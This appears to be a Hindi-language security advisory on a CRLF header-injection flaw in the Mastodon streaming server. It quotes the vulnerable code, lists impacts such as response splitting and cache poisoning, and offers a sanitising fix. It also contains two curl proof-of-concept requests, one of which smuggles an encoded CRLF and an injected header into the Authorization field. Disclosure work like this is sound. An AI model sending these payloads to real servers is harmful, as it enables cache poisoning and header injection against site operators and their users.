CVE-2026-XXXXX: Mastodon स्ट्रीमिंग सर्वर में HTTP रिस्पॉन्स हेडर इंजेक्शन (CRLF)

भेद्यता अवलोकन

भेद्यता विवरण

जब WebSocket अपग्रेड अनुरोध प्रमाणीकरण में विफल हो जाता है, तो Mastodon स्ट्रीमिंग सर्वर streaming/index.js लाइन 188-206 में एक मैन्युअल HTTP रिस्पॉन्स बनाता है और socket.end() के माध्यम से errorMessage को \r या \n कैरेक्टर्स को सैनिटाइज़ किए बिना सीधे X-Error-Message रिस्पॉन्स हेडर में लिखता है।

यह एक अनप्रमाणित रिमोट हमलावर को मनमाने HTTP हेडर इंजेक्ट करने या HTTP रिस्पॉन्स स्प्लिटिंग करने की अनुमति देता है।

संवेदनशील कोड (streaming/index.js लाइन 188-206)

const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}\r
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('\r
')}\r
\r
`
);

प्रभाव

• HTTP हेडर इंजेक्शन: मनमाने HTTP हेडर इंजेक्ट करना
• HTTP रिस्पॉन्स स्प्लिटिंग: दूसरा HTTP रिस्पॉन्स बॉडी इंजेक्ट करना (कैश पॉइज़निंग)
• सूचना प्रकटीकरण: आंतरिक त्रुटि संदेश अनप्रमाणित उपयोगकर्ताओं के सामने उजागर होना

प्रूफ ऑफ कॉन्सेप्ट

PoC 1 - बुनियादी पहचान

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

अपेक्षित: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - CRLF इंजेक्शन

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

उपचार

socket हेडर में लिखने से पहले errorMessage को सैनिटाइज़ करें:

const sanitizedMessage = String(errorMessage || '')
  .replace(/\r/g, '%0D')
  .replace(/\n/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

समयरेखा

संदर्भ

• https://github.com/mastodon/mastodon
• https://cwe.mitre.org/data/definitions/74.html

अस्वीकरण: यह PoC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है।